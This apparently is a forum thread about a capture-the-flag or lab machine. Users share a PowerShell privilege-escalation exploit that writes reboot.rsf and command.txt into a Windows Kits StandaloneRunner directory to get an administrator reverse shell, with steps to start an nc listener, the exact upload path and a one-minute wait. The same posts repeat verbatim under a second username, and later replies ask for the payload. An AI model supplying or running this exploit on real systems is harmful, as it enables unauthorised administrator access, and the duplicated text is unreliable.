[Osminogka]

I went to see if my janky ass way of getting on the box worked....works fine lobbing msf grenades still

BUT I believe they patched the root so overwriting of the standalonerunner is no longer a thing.

Yes here is exploit that you can use to get administrator shell:

$rebootContent = @" myTestDir True "@ $rebootContent | Set-Content -Path ".\reboot.rsf" New-Item -Path ".\myTestDir\working" -ItemType Directory -Force New-Item -Path ".\rsf.rsf" -ItemType File -Force Copy-Item -Path ".\rsf.rsf" -Destination ".\myTestDir\working" $commandContent = @" Powershell base64 reverse shell "@ $commandContent | Set-Content -Path ".\command.txt"

start nc listener and run this exploit in standalonerunner directory, and you have to wait around one minute

can u tell spesifik method for this, using file or just copy paste that commands?. im stuck

You need just to save all this content that i posted inside .ps1 file, exploit.ps1 for example, also before uploading this file you need to specify correct payload for remote shell and then upload this script in C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\ directory then run

[Bubbles]

I went to see if my janky ass way of getting on the box worked....works fine lobbing msf grenades still

BUT I believe they patched the root so overwriting of the standalonerunner is no longer a thing.

Yes here is exploit that you can use to get administrator shell:

$rebootContent = @" myTestDir True "@ $rebootContent | Set-Content -Path ".\reboot.rsf" New-Item -Path ".\myTestDir\working" -ItemType Directory -Force New-Item -Path ".\rsf.rsf" -ItemType File -Force Copy-Item -Path ".\rsf.rsf" -Destination ".\myTestDir\working" $commandContent = @" Powershell base64 reverse shell "@ $commandContent | Set-Content -Path ".\command.txt"

start nc listener and run this exploit in standalonerunner directory, and you have to wait around one minute

can u tell spesifik method for this, using file or just copy paste that commands?. im stuck

You need just to save all this content that i posted inside .ps1 file, exploit.ps1 for example, also before uploading this file you need to specify correct payload for remote shell and then upload this script in C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\ directory then run

It's not working, Can you provide more details and also the payload you used? plz